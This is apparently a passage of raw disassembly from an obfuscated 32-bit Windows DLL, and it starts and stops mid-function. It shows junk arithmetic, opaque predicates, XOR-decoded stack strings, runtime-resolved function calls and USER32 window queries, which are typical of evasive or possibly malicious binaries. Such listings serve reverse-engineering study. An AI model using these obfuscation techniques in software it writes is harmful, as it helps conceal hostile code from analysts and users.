mov ecx, dword [ebp - 0x31c]
cmp ecx, dword [ebp - 0x320]
jg 0x100382cc
movzx edx, word [0x100ad0ac]
movsx eax, byte [0x100ad073]
sub edx, eax
movzx ecx, word [0x100ad0ac]
sub ecx, edx
mov word [0x100ad0ac], cx
movzx edx, word [ebp - 8]
movzx eax, byte [0x100ad072]
sub edx, eax
mov word [ebp - 8], dx
movzx ecx, byte [0x100ad0a6]
movzx edx, byte [ebp - 3]
imul ecx, edx
mov byte [0x100ad0a6], cl
movzx eax, byte [ebp - 4]
cdq
add eax, 0x9113206
mov word [ebp - 8], ax
mov dword [ebp - 0x18], 0x4286f256
jmp 0x100383a7
movzx eax, byte [ebp - 3]
mov ecx, dword [ebp - 0x24]
sub ecx, eax
jne 0x100382e3
mov dword [ebp - 0x324], 1
jmp 0x100382ed
mov dword [ebp - 0x324], 0
mov edx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x38]
add edx, dword [ebp - 0x54]
adc eax, dword [ebp - 0x50]
mov dword [ebp - 0x7f8], edx
mov dword [ebp - 0x7f4], eax
mov ecx, dword [ebp - 0x7f8]
or ecx, dword [ebp - 0x7f4]
jne 0x1003831f
mov dword [ebp - 0x328], 1
jmp 0x10038329
mov dword [ebp - 0x328], 0
mov edx, dword [ebp - 0x324]
add edx, dword [ebp - 0x328]
mov byte [0x100ad072], dl
movsx eax, word [0x100ad0b0]
cdq
mov ecx, eax
add ecx, 0x5f2ed359
movzx eax, word [ebp - 0x10]
cdq
sub eax, ecx
mov word [ebp - 0x10], ax
movsx edx, word [ebp - 0xc]
add edx, 0x9300
mov word [0x100ad11c], dx
movsx eax, word [0x100ad0c4]
imul ecx, eax, 0xbd4fda5b
movzx edx, word [ebp - 8]
sub edx, ecx
mov word [ebp - 8], dx
mov eax, dword [0x100ad0c8]
cdq
mov ecx, dword [ebp - 0x40]
push ecx
mov ecx, dword [ebp - 0x44]
push ecx
push edx
push eax
call fcn.1007a8a0
mov dword [0x100ad0c8], eax
mov eax, dword [0x100ad118]
cdq
add eax, 0xf4bae41f
mov word [ebp - 8], ax
mov dword [0x100ad15c], 0xd623
call dword [sym.imp.USER32.dll_GetFocus]
mov dword [ebp - 0x108], eax
cmp dword [ebp - 0x108], 0
je 0x100383ff
mov edx, dword [ebp - 0x108]
push edx
call dword [sym.imp.USER32.dll_IsWindow]
mov dword [ebp - 0xa1c], eax
mov eax, dword [ebp - 0x108]
push eax
call dword [sym.imp.USER32.dll_IsWindowEnabled]
mov dword [ebp - 0xa20], eax
mov ecx, dword [ebp - 0x108]
push ecx
call dword [sym.imp.USER32.dll_IsWindowUnicode]
mov dword [ebp - 0xa24], eax
mov edx, dword [ebp - 0x20]
add edx, 0x25
xor eax, eax
mov dword [ebp - 0x800], edx
mov dword [ebp - 0x7fc], eax
mov ecx, dword [0x100ad150]
cmp ecx, dword [ebp - 0x800]
jne 0x100385a9
mov edx, dword [0x100ad154]
cmp edx, dword [ebp - 0x7fc]
jne 0x100385a9
movzx eax, word [0x100ad0ac]
movzx ecx, byte [ebp - 1]
add eax, ecx
cmp eax, 1
jne 0x100385a9
mov ecx, dword [ebp - 0x34]
mov esi, dword [ebp - 0x30]
mov eax, dword [ebp - 0x2c]
cdq
mov dword [ebp - 0x808], ecx
mov dword [ebp - 0x804], esi
mov dword [ebp - 0x810], eax
mov dword [ebp - 0x80c], edx
mov edx, dword [ebp - 0x808]
cmp edx, dword [ebp - 0x810]
jne 0x1003848f
mov eax, dword [ebp - 0x804]
cmp eax, dword [ebp - 0x80c]
je 0x10038529
movzx ecx, byte [ebp - 2]
add ecx, 0x8d
mov dword [ebp - 0x1c], ecx
mov eax, dword [ebp - 0x2c]
shl eax, 8
cdq
mov dword [0x100ad0d8], eax
mov dword [0x100ad0dc], edx
mov eax, dword [ebp - 0x48]
cdq
push 0xfc17
push 0x8c833694
push edx
push eax
call fcn.1007a8a0
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], edx
movsx edx, word [0x100ad11c]
test edx, edx
jne 0x100384e0
mov dword [ebp - 0x32c], 1
jmp 0x100384ea
mov dword [ebp - 0x32c], 0
movzx eax, word [0x100ad0ac]
movsx ecx, word [0x100ad0b0]
not ecx
or eax, ecx
movzx edx, word [ebp - 0x10]
xor edx, dword [ebp - 0x18]
not edx
movzx ecx, byte [ebp - 4]
xor ecx, dword [ebp - 0x32c]
add edx, ecx
not edx
xor eax, edx
mov byte [0x100ad072], al
mov dx, word [0x100ad0cc]
mov byte [0x100ad00d], dl
jmp 0x10038581
mov byte [0x100ad042], 8
mov eax, dword [0x100ad140]
sub eax, 0x6dfcf132
mov dword [ebp - 0x2c], eax
mov cx, word [0x100ad0c4]
add cx, 1
mov word [0x100ad0c4], cx
movzx edx, word [ebp - 8]
imul eax, edx, 0xfd
mov word [0x100ad130], ax
movsx ecx, byte [0x100ad073]
mov edx, dword [ebp - 0x20]
add edx, ecx
mov dword [ebp - 0x20], edx
movzx eax, byte [ebp - 4]
mov ecx, dword [0x100ad140]
imul ecx, eax
mov dword [0x100ad140], ecx
jmp 0x100383a7
mov dword [0x100ad100], 0xbb9561b9
movzx edx, byte [ebp - 3]
mov dword [0x100ad15c], edx
mov dword [ebp - 0x4c], 0x7674ddf2
cmp dword [ebp - 0x28], 0
jne 0x100385d6
mov dword [ebp - 0x330], 1
jmp 0x100385e0
mov dword [ebp - 0x330], 0
movzx eax, word [ebp - 0x10]
add eax, dword [ebp - 0x330]
mov byte [str.E2_wcsrchr], al
movsx ecx, byte [0x100ad073]
test ecx, ecx
je 0x10038605
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x334], edx
jmp 0x10038610
mov eax, dword [0x100ad0a8]
mov dword [ebp - 0x334], eax
mov cx, word [ebp - 0x334]
mov word [ebp - 8], cx
movsx eax, byte [0x100ad00e]
cdq
add eax, 0xc5e70cc5
mov word [0x100ad0d0], ax
mov ecx, dword [0x100ad100]
xor esi, esi
mov eax, dword [ebp - 0x1c]
cdq
add eax, 0xbb9561b9
adc edx, 0x54bbc
mov dword [ebp - 0x818], ecx
mov dword [ebp - 0x814], esi
mov dword [ebp - 0x820], eax
mov dword [ebp - 0x81c], edx
mov edx, dword [ebp - 0x818]
cmp edx, dword [ebp - 0x820]
jne 0x100388a3
mov eax, dword [ebp - 0x814]
cmp eax, dword [ebp - 0x81c]
jne 0x100388a3
movzx eax, word [0x100ad0f0]
cdq
mov ecx, eax
mov esi, edx
mov eax, dword [ebp - 0x1c]
cdq
add eax, 0xbe5aa5bb
adc edx, 0x51da7
mov dword [ebp - 0x828], ecx
mov dword [ebp - 0x824], esi
mov dword [ebp - 0x830], eax
mov dword [ebp - 0x82c], edx
mov edx, dword [ebp - 0x828]
cmp edx, dword [ebp - 0x830]
jne 0x100388a3
mov eax, dword [ebp - 0x824]
cmp eax, dword [ebp - 0x82c]
jne 0x100388a3
cmp dword [ebp - 0x24], 0
je 0x1003873c
movzx ecx, byte [ebp - 1]
mov edx, dword [ebp - 0x18]
sub edx, ecx
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x28]
xor ecx, ecx
push ecx
push eax
mov edx, dword [ebp - 0x40]
push edx
mov eax, dword [ebp - 0x44]
push eax
call fcn.1007a8a0
mov ecx, dword [ebp - 0x44]
sub ecx, eax
mov eax, dword [ebp - 0x40]
sbb eax, edx
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x40], eax
movsx eax, word [0x100ad11c]
sub eax, 0xd9
cdq
mov dword [0x100ad110], eax
mov dword [0x100ad114], edx
movzx ecx, word [ebp - 0x10]
xor ecx, dword [ebp - 0x24]
movzx edx, word [ebp - 0x10]
sub edx, ecx
mov word [ebp - 0x10], dx
jmp 0x10038809
cmp dword [0x100ad0b4], 0
jne 0x10038751
mov dword [ebp - 0x338], 1
jmp 0x1003875b
mov dword [ebp - 0x338], 0
movsx eax, byte [0x100ad037]
movzx ecx, byte [ebp - 3]
cmp eax, ecx
jne 0x10038776
mov dword [ebp - 0x33c], 1
jmp 0x10038780
mov dword [ebp - 0x33c], 0
mov edx, dword [ebp - 0x338]
or edx, dword [ebp - 0x33c]
je 0x10038809
movsx eax, word [0x100ad11c]
cdq
mov ecx, dword [0x100ad150]
sub ecx, eax
mov eax, dword [0x100ad154]
sbb eax, edx
mov dword [0x100ad150], ecx
mov dword [0x100ad154], eax
mov ecx, 0xffffa215
mov word [0x100ad0cc], cx
xor edx, edx
mov dword [ebp - 0x54], 0x3716
mov dword [ebp - 0x50], edx
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x38]
sub eax, 1
sbb ecx, 0
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], ecx
mov eax, dword [ebp - 0x24]
cdq
mov ecx, dword [0x100ad108]
mov esi, dword [0x100ad10c]
push esi
push ecx
push edx
push eax
call fcn.1007a8a0
mov ecx, eax
mov eax, dword [ebp - 0x24]
cdq
sub eax, ecx
mov dword [ebp - 0x24], eax
mov dx, word [ebp - 0x54]
mov word [0x100ad120], dx
jmp 0x100388a3
mov dword [0x100ad100], 0xbb9561b9
mov eax, dword [ebp - 0x44]
add eax, 0x9b8688b9
mov word [ebp - 0x14], ax
movsx ecx, word [ebp - 0x14]
imul ecx, dword [0x100ad100]
mov dword [0x100ad100], ecx
movsx edx, word [0x100ad0c4]
test edx, edx
jne 0x100388e1
mov dword [ebp - 0x340], 1
jmp 0x100388eb
mov dword [ebp - 0x340], 0
movzx eax, byte [ebp - 1]
imul eax, dword [ebp - 0x340]
cdq
sub eax, dword [0x100ad138]
movsx ecx, byte [0x100ad00e]
movzx edx, byte [str.px_04X_]
add edx, dword [ebp - 0x28]
sub ecx, edx
not ecx
add eax, ecx
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
imul eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x28]
add ecx, eax
mov dword [ebp - 0x28], ecx
movsx edx, word [0x100ad0d0]
mov dword [0x100ad15c], edx
mov ecx, dword [0x100ad140]
xor esi, esi
sub ecx, dword [0x100ad160]
sbb esi, dword [0x100ad164]
movzx edx, byte [ebp - 3]
mov eax, dword [0x100ad15c]
sub eax, edx
cdq
add ecx, eax
adc esi, edx
mov dword [ebp - 0x838], ecx
mov dword [ebp - 0x834], esi
mov eax, dword [ebp - 0x838]
or eax, dword [ebp - 0x834]
jne 0x10038977
mov byte [ebp - 0x5a], 1
jmp 0x1003897b
mov byte [ebp - 0x5a], 0
mov cl, byte [ebp - 0x5a]
mov byte [0x100ad00e], cl
mov byte [0x100ad072], 0x4d
mov byte [0x100ad00e], 0x72
imul edx, dword [0x100ad0a8], 0x3b
mov word [0x100ad120], dx
lea eax, [ebp - 0x10d4]
push eax
mov ecx, dword [0x101fb590]
push ecx
call fcn.10040f50
test eax, eax
je 0x10038ecb
call dword [sym.imp.USER32.dll_GetShellWindow]
xor edx, edx
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], edx
xor eax, eax
mov byte [ebp - 0x123], al
mov byte [ebp - 0x112], 0x5d
xor ecx, ecx
mov byte [ebp - 0x111], cl
mov edx, 0x70
mov word [ebp - 0x110], dx
mov eax, 0x27
mov word [ebp - 0x10e], ax
mov ecx, 0x7d
mov word [ebp - 0x10c], cx
xor edx, edx
mov word [ebp - 0x10a], dx
mov dword [ebp - 0x9c], 0
jmp 0x10038a28
mov eax, dword [ebp - 0x9c]
add eax, 1
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], 3
jae 0x10038a82
mov ecx, dword [ebp - 0x9c]
lea edx, [ebp + ecx*2 - 0x110]
mov dword [ebp - 0x59c], edx
mov eax, dword [ebp - 0x59c]
movzx ecx, word [eax]
movsx edx, byte [ebp - 0x112]
xor ecx, edx
mov word [ebp - 0x142], cx
mov eax, dword [ebp - 0x9c]
lea ecx, [ebp + eax*2 - 0x110]
mov dword [ebp - 0x5a0], ecx
mov edx, dword [ebp - 0x5a0]
mov ax, word [ebp - 0x142]
mov word [edx], ax
jmp 0x10038a19
mov ecx, 3
shl ecx, 1
lea edx, [ebp + ecx - 0x110]
mov dword [ebp - 0x5a4], edx
xor eax, eax
mov ecx, dword [ebp - 0x5a4]
mov word [ecx], ax
lea edx, [ebp - 0x110]
mov dword [ebp - 0x5a8], edx
mov eax, dword [ebp - 0x5a8]
push eax
lea ecx, [ebp - 0x4d10]
push ecx
push 0
push 0
call fcn.10001470
call eax
xor edx, edx
mov byte [ebp - 0x124], dl
mov byte [ebp - 0xd0], 4
xor eax, eax
mov byte [ebp - 0xcf], al
mov ecx, 0x26
mov word [ebp - 0xce], cx
xor edx, edx
mov word [ebp - 0xcc], dx
mov dword [ebp - 0xa0], 0
jmp 0x10038b0d
mov eax, dword [ebp - 0xa0]
add eax, 1
mov dword [ebp - 0xa0], eax
cmp dword [ebp - 0xa0], 1
jae 0x10038b67
mov ecx, dword [ebp - 0xa0]
lea edx, [ebp + ecx*2 - 0xce]
mov dword [ebp - 0x5ac], edx
mov eax, dword [ebp - 0x5ac]
movzx ecx, word [eax]
movsx edx, byte [ebp - 0xd0]
xor ecx, edx
mov word [ebp - 0x144], cx
mov eax, dword [ebp - 0xa0]
lea ecx, [ebp + eax*2 - 0xce]
mov dword [ebp - 0x5b0], ecx
mov edx, dword [ebp - 0x5b0]
mov ax, word [ebp - 0x144]
mov word [edx], ax
jmp 0x10038afe
mov ecx, 1
shl ecx, 1
lea edx, [ebp + ecx - 0xce]
mov dword [ebp - 0x5b4], edx
xor eax, eax
mov ecx, dword [ebp - 0x5b4]
mov word [ecx], ax
lea edx, [ebp - 0xce]
mov dword [ebp - 0x5b8], edx
mov eax, dword [ebp - 0x5b8]
push eax
lea ecx, [ebp - 0x4d10]
push ecx
push 0
push 0
call fcn.10001320
call eax
lea edx, [ebp - 0x10d4]
push edx
lea eax, [ebp - 0x4d10]
push eax
push 0
push 0
call fcn.10001320
call eax
push 0x10090804
lea ecx, [ebp - 0x4d10]
push ecx
push 0
push 0
call fcn.10001320
call eax
movzx edx, byte [ebp - 1]
sub edx, dword [0x100ad0e0]
mov byte [ebp - 1], dl
mov eax, dword [0x100ad138]
sub eax, 0x93f5e91d
mov ecx, dword [0x100ad13c]
sbb ecx, 0
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], ecx
movsx edx, word [0x100ad0c4]
xor edx, 0xf21756ae
mov dword [ebp - 0x48], edx
movzx eax, word [ebp - 8]
shl eax, 2
mov byte [0x100ad043], al
movzx ecx, byte [0x100ad00f]
test ecx, ecx
jne 0x10038c34
mov dword [ebp - 0x344], 1
jmp 0x10038c3e
mov dword [ebp - 0x344], 0
cmp dword [ebp - 0x2c], 0
jne 0x10038c58
xor edx, edx
mov dword [ebp - 0x4dc], 1
mov dword [ebp - 0x4d8], edx
jmp 0x10038c63
xorps xmm0, xmm0
movlpd qword [ebp - 0x4dc], xmm0
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x30]
xor eax, dword [ebp - 0x4dc]
xor ecx, dword [ebp - 0x4d8]
mov dword [ebp - 0x840], eax
mov dword [ebp - 0x83c], ecx
mov edx, dword [ebp - 0x840]
or edx, dword [ebp - 0x83c]
jne 0x10038c9b
mov dword [ebp - 0x348], 1
jmp 0x10038ca5
mov dword [ebp - 0x348], 0
movsx eax, byte [0x100ad00e]
mov ecx, dword [ebp - 0x344]
sub ecx, dword [ebp - 0x348]
add eax, ecx
not eax
mov dword [0x100ad118], eax
movsx edx, word [0x100ad130]
movzx eax, word [0x100ad0ac]
sub edx, eax
movsx ecx, word [0x100ad130]
or ecx, edx
mov word [0x100ad130], cx
lea edx, [ebp - 0x2d08]
mov dword [ebp - 0x958], edx
xor eax, eax
mov byte [ebp - 0x65], al
lea ecx, [ebp - 0xcc2]
push ecx
lea ecx, [ebp - 0x65]
call fcn.10002260
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0xa4], 0
jmp 0x10038d22
mov edx, dword [ebp - 0xa4]
add edx, 1
mov dword [ebp - 0xa4], edx
cmp dword [ebp - 0xa4], 0x1d
jae 0x10038d84
mov eax, dword [ebp - 0xa4]
mov ecx, dword [ebp - 0xa8]
lea edx, [ecx + eax*2 + 2]
mov dword [ebp - 0x5bc], edx
mov eax, dword [ebp - 0x5bc]
movzx ecx, word [eax]
mov edx, dword [ebp - 0xa8]
movsx eax, byte [edx]
xor ecx, eax
mov word [ebp - 0x146], cx
mov ecx, dword [ebp - 0xa4]
mov edx, dword [ebp - 0xa8]
lea eax, [edx + ecx*2 + 2]
mov dword [ebp - 0x5c0], eax
mov ecx, dword [ebp - 0x5c0]
mov dx, word [ebp - 0x146]
mov word [ecx], dx
jmp 0x10038d13
mov eax, 0x1d
shl eax, 1
mov ecx, dword [ebp - 0xa8]
lea edx, [ecx + eax + 2]
mov dword [ebp - 0x5c4], edx
xor eax, eax
mov ecx, dword [ebp - 0x5c4]
mov word [ecx], ax
mov edx, dword [ebp - 0xa8]
add edx, 2
mov dword [ebp - 0x5c8], edx
mov eax, dword [ebp - 0x5c8]
mov dword [ebp - 0x954], eax
xor ecx, ecx
mov byte [ebp - 0x66], cl
lea edx, [ebp - 0xbe4]
push edx
lea ecx, [ebp - 0x66]
call fcn.100023f0
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0xac], 0
jmp 0x10038df6
mov eax, dword [ebp - 0xac]
add eax, 1
mov dword [ebp - 0xac], eax
cmp dword [ebp - 0xac], 0x14
jae 0x10038e58
mov ecx, dword [ebp - 0xac]
mov edx, dword [ebp - 0xb0]
lea eax, [edx + ecx*2 + 2]
mov dword [ebp - 0x5cc], eax
mov ecx, dword [ebp - 0x5cc]
movzx edx, word [ecx]
mov eax, dword [ebp - 0xb0]
movsx ecx, byte [eax]
xor edx, ecx
mov word [ebp - 0x148], dx
mov edx, dword [ebp - 0xac]
mov eax, dword [ebp - 0xb0]
lea ecx, [eax + edx*2 + 2]
mov dword [ebp - 0x5d0], ecx
mov edx, dword [ebp - 0x5d0]
mov ax, word [ebp - 0x148]
mov word [edx], ax
jmp 0x10038de7
mov ecx, 0x14
shl ecx, 1
mov edx, dword [ebp - 0xb0]
lea eax, [edx + ecx + 2]
mov dword [ebp - 0x5d4], eax
xor ecx, ecx
mov edx, dword [ebp - 0x5d4]
mov word [edx], cx
mov eax, dword [ebp - 0xb0]
add eax, 2
mov dword [ebp - 0x5d8], eax
mov ecx, dword [ebp - 0x5d8]
mov dword [ebp - 0x950], ecx
lea edx, [ebp - 0x4d10]
mov dword [ebp - 0x94c], edx
mov dword [ebp - 0x948], 3
mov dword [ebp - 0x944], 0
lea eax, [ebp - 0x958]
push eax
call fcn.10031620
jmp 0x1003b848
mov ecx, 4
imul edx, ecx, 0x3546
movzx eax, word [0x100ad120]
add eax, dword [edx + 0x10170bc0]
mov word [0x100ad120], ax
movsx ecx, byte [0x100ad043]
add ecx, 0x2654
mov byte [ebp - 2], cl
movsx eax, word [0x100ad0d0]
cdq
mov ecx, dword [0x100ad0fc]
push ecx
mov ecx, dword [0x100ad0f8]
push ecx
push edx
push eax
call fcn.1007a8a0
mov word [0x100ad0d0], ax
movsx edx, byte [0x100ad09a]
movzx eax, word [0x100ad120]
sub eax, dword [0x100ad100]
imul edx, eax
mov esi, edx
xor edi, edi
mov eax, dword [ebp - 0x48]
cdq
mov ecx, eax
mov ebx, edx
add ecx, dword [0x100ad160]
adc ebx, dword [0x100ad164]
movsx eax, word [0x100ad0cc]
add eax, dword [0x100ad158]
cdq
push edx
push eax
push ebx
push ecx
call fcn.1007a8a0
not eax
not edx
sub esi, eax
sbb edi, edx
not esi
not edi
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0x38], edi
mov edx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x30]
mov ecx, dword [0x100ad12c]
add edx, dword [0x100ad128]
adc eax, ecx
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x30], eax
mov edx, 0xffffaf77
mov word [0x100ad0c0], dx
movsx eax, word [ebp - 0x14]
movzx ecx, byte [ebp - 4]
cmp eax, ecx
jle 0x1003924f
mov byte [0x100ad072], 1
mov edx, dword [0x100ad100]
xor eax, eax
mov ecx, dword [ebp - 0x34]
mov esi, dword [ebp - 0x30]
push esi
push ecx
push eax
push edx
call fcn.1007a8a0
mov dword [0x100ad100], eax
mov eax, dword [ebp - 0x48]
cdq
add eax, 0xad3cf707
mov byte [ebp - 2], al
mov edx, 1
imul eax, edx, 0x2b60
mov cl, byte [eax + 0x100e7138]
mov byte [str.E2_wcsrchr], cl
mov dl, byte [0x100ad072]
mov byte [ebp - 0x34c], dl
cmp byte [ebp - 0x34c], 0
je 0x10039017
cmp byte [ebp - 0x34c], 1
je 0x100391ff
jmp 0x1003924d
mov eax, dword [0x100ad0c8]
cdq
mov ecx, dword [ebp - 0x34]
mov esi, dword [ebp - 0x30]
add ecx, eax
adc esi, edx
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x30], esi
movsx edx, word [0x100ad0bc]
mov eax, 4
imul ecx, eax, 0x1d32
mov dword [ecx + 0x10165c90], edx
movzx edx, byte [ebp - 1]
movzx eax, byte [ebp - 2]
add edx, eax
jne 0x1003905d
mov dword [ebp - 0x358], 1
jmp 0x10039067
mov dword [ebp - 0x358], 0
movsx ecx, word [0x100ad0c4]
test ecx, ecx
jne 0x1003907e
mov dword [ebp - 0x350], 1
jmp 0x10039088
mov dword [ebp - 0x350], 0
movzx edx, byte [ebp - 4]
test edx, edx
jne 0x1003909c
mov dword [ebp - 0x354], 1
jmp 0x100390a6
mov dword [ebp - 0x354], 0
movsx eax, word [0x100ad130]
test eax, eax
jne 0x100390c5
xor ecx, ecx
mov dword [ebp - 0x4e4], 1
mov dword [ebp - 0x4e0], ecx
jmp 0x100390d0
xorps xmm0, xmm0
movlpd qword [ebp - 0x4e4], xmm0
mov edx, dword [ebp - 0x350]
sub edx, dword [ebp - 0x354]
mov eax, edx
imul eax, dword [ebp - 0x358]
cdq
mov esi, eax
mov edi, edx
mov eax, dword [ebp - 0x24]
sub eax, dword [ebp - 0x24]
cdq
mov ebx, eax
mov eax, edx
mov ecx, dword [0x100ad0d8]
mov edx, dword [0x100ad0dc]
mov dword [ebp - 0x5e0], esi
mov esi, dword [ebp - 0x4e0]
push esi
mov esi, dword [ebp - 0x4e4]
push esi
push edx
push ecx
mov dword [ebp - 0x5dc], eax
call fcn.1007a8a0
sub ebx, eax
mov esi, dword [ebp - 0x5dc]
sbb esi, edx
push esi
push ebx
push edi
mov esi, dword [ebp - 0x5e0]
push esi
call fcn.1007a8a0
mov dword [0x100ad128], eax
mov dword [0x100ad12c], edx
mov eax, dword [0x100ad0a8]
add eax, 0xcf
cdq
mov dword [0x100ad148], eax
mov dword [0x100ad14c], edx
mov byte [str.ZFreeSid], 0x56
movzx eax, byte [ebp - 4]
test eax, eax
jne 0x10039177
mov dword [ebp - 0x35c], 1
jmp 0x10039181
mov dword [ebp - 0x35c], 0
mov ecx, dword [ebp - 0x28]
or ecx, dword [ebp - 0x35c]
jne 0x10039198
mov dword [ebp - 0x360], 1
jmp 0x100391a2
mov dword [ebp - 0x360], 0
movsx edx, byte [0x100ad00e]
test edx, edx
jne 0x100391b9
mov dword [ebp - 0x364], 1
jmp 0x100391c3
mov dword [ebp - 0x364], 0
movsx eax, byte [0x100ad037]
not eax
movsx ecx, byte [0x100ad073]
sub eax, ecx
imul eax, dword [ebp - 0x360]
movzx edx, byte [ebp - 2]
mov ecx, dword [0x100ad0c8]
not ecx
add edx, ecx
mov ecx, dword [ebp - 0x364]
sub ecx, dword [ebp - 0x18]
not ecx
imul edx, ecx
add eax, edx
mov byte [ebp - 1], al
jmp 0x1003924d
movzx edx, byte [ebp - 4]
sub edx, 0x5d
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x18]
sub eax, 0x93
cdq
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x40], edx
movsx eax, word [0x100ad0cc]
add eax, dword [0x100ad158]
movsx ecx, word [0x100ad0cc]
imul ecx, eax
mov word [0x100ad0cc], cx
movzx edx, byte [ebp - 1]
movsx eax, byte [0x100ad073]
imul edx, eax
movzx ecx, byte [ebp - 1]
add ecx, edx
mov byte [ebp - 1], cl
jmp 0x100392ba
mov edx, dword [ebp - 0x44]
and edx, 0x86
mov word [ebp - 8], dx
mov byte [0x100ad072], 0x43
movzx eax, word [ebp - 0x10]
test eax, eax
je 0x10039277
movzx ecx, word [ebp - 0x10]
mov dword [ebp - 0x368], ecx
jmp 0x10039284
movsx edx, word [0x100ad0d0]
mov dword [ebp - 0x368], edx
mov eax, dword [ebp - 0x368]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x38]
push 0
push 0x9dab
push edx
push ecx
call fcn.1007a8a0
mov dword [ebp - 0x2c], eax
mov ecx, dword [0x100ad160]
xor ecx, 0xde77e358
movzx eax, byte [ebp - 1]
cdq
add eax, ecx
mov byte [ebp - 1], al
movsx eax, word [0x100ad0c0]
cdq
mov ecx, eax
mov esi, edx
mov eax, dword [ebp - 0x1c]
cdq
add eax, 0x42abaf77
adc edx, 0xed72e
mov dword [ebp - 0x848], ecx
mov dword [ebp - 0x844], esi
mov dword [ebp - 0x850], eax
mov dword [ebp - 0x84c], edx
mov edx, dword [ebp - 0x848]
cmp edx, dword [ebp - 0x850]
jne 0x10039380
mov eax, dword [ebp - 0x844]
cmp eax, dword [ebp - 0x84c]
jne 0x10039380
mov ecx, dword [ebp - 0x20]
xor edx, edx
add ecx, 0x1d9e6dc2
adc edx, 0xc33c
mov dword [ebp - 0x858], ecx
mov dword [ebp - 0x854], edx
mov eax, dword [0x100ad110]
cmp eax, dword [ebp - 0x858]
jne 0x10039380
mov ecx, dword [0x100ad114]
cmp ecx, dword [ebp - 0x854]
jne 0x10039380
jmp 0x10039380
mov ecx, 0xffffaf77
mov word [0x100ad0c0], cx
mov edx, 0xffffdc41
mov word [0x100ad0d0], dx
mov ax, word [0x100adbec]
mov word [0x100ad0b0], ax
movsx eax, word [ebp - 0xc]
cdq
push 0x1d56f
push 0x80786b62
push edx
push eax
call fcn.1007a8a0
mov ecx, eax
movsx eax, word [0x100ad0bc]
cdq
sub eax, ecx
mov word [0x100ad0bc], ax
movsx edx, word [0x100ad0bc]
mov eax, dword [ebp - 0x18]
lea ecx, [eax + edx + 0x44c9ac32]
mov word [ebp - 0x10], cx
mov dword [ebp - 0x1a4], 0
jmp 0x100393fc
mov edx, dword [ebp - 0x1a4]
add edx, 1
mov dword [ebp - 0x1a4], edx
cmp dword [ebp - 0x1a4], 0x73
jge 0x100397bf
mov eax, dword [ebp - 0x20]
xor ecx, ecx
mov edx, dword [0x100ad128]
mov esi, dword [0x100ad12c]
mov dword [ebp - 0x860], eax
mov dword [ebp - 0x85c], ecx
mov dword [ebp - 0x868], edx
mov dword [ebp - 0x864], esi
mov eax, dword [ebp - 0x85c]
cmp eax, dword [ebp - 0x864]
jb 0x10039661
ja 0x10039458
mov ecx, dword [ebp - 0x860]
cmp ecx, dword [ebp - 0x868]
jbe 0x10039661
mov edx, dword [ebp - 0x4c]
cmp dword [ebp - 0x18], edx
jle case.default.0x100394d4
mov eax, 3
mov word [0x100ad0c4], ax
mov cl, byte [0x100adbec]
mov byte [ebp - 4], cl
movsx eax, word [0x100ad130]
cdq
push 0x11cf
push 0xf5607570
push edx
push eax
call fcn.1007a8a0
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], edx
mov eax, dword [ebp - 0x1c]
sar eax, 5
cdq
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], edx
movsx edx, word [0x100ad0e4]
sar edx, 8
mov dword [0x100ad0e0], edx
movsx eax, word [0x100ad0c4]
mov dword [ebp - 0x36c], eax
cmp dword [ebp - 0x36c], 3
ja case.default.0x100394d4
mov ecx, dword [ebp - 0x36c]
jmp dword [ecx*4 + 0x1003b8cc]
movzx edx, word [0x100ad0b8]
movsx eax, word [ebp - 0xc]
add edx, eax
mov word [0x100ad0b8], dx
mov dword [0x100ad0b4], 0x3f2bb77f
mov ecx, dword [ebp - 0x28]
sub ecx, 0xb949
movsx edx, byte [str.ZFreeSid]
sub edx, ecx
mov byte [str.ZFreeSid], dl
movsx eax, word [0x100ad0cc]
cdq
add eax, dword [0x100ad0f8]
adc edx, dword [0x100ad0fc]
push edx
push eax
mov eax, dword [0x100ad0fc]
push eax
mov ecx, dword [0x100ad0f8]
push ecx
call fcn.1007a8a0
mov dword [0x100ad0f8], eax
mov dword [0x100ad0fc], edx
movzx edx, word [ebp - 8]
movzx eax, word [ebp - 0x10]
add edx, eax
mov word [ebp - 8], dx
mov ecx, dword [0x100ad0e0]
mov dword [ebp - 0x24], ecx
jmp case.default.0x100394d4
mov edx, dword [ebp - 0x2c]
mov word [ebp - 0xc], dx
mov eax, dword [ebp - 0x44]
or eax, dword [ebp - 0x40]
je 0x1003957b
movzx ecx, byte [ebp - 1]
mov dword [ebp - 0x434], ecx
jmp 0x10039584
mov edx, dword [ebp - 0x24]
mov dword [ebp - 0x434], edx
mov eax, dword [ebp - 0x434]
cdq
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], edx
mov eax, dword [ebp - 0x24]
sub eax, 0xefac
mov word [ebp - 8], ax
mov ecx, 2
imul edx, ecx, 0x1e
movsx eax, word [edx + 0x101e98d8]
movzx ecx, word [ebp - 8]
add ecx, eax
mov word [ebp - 8], cx
jmp case.default.0x100394d4
imul eax, dword [0x100ad0a8], 0x65
cdq
mov dword [0x100ad150], eax
mov dword [0x100ad154], edx
mov dx, word [0x100ad120]
mov word [0x100ad0bc], dx
mov eax, dword [ebp - 0x20]
xor ecx, ecx
push 0x51c17
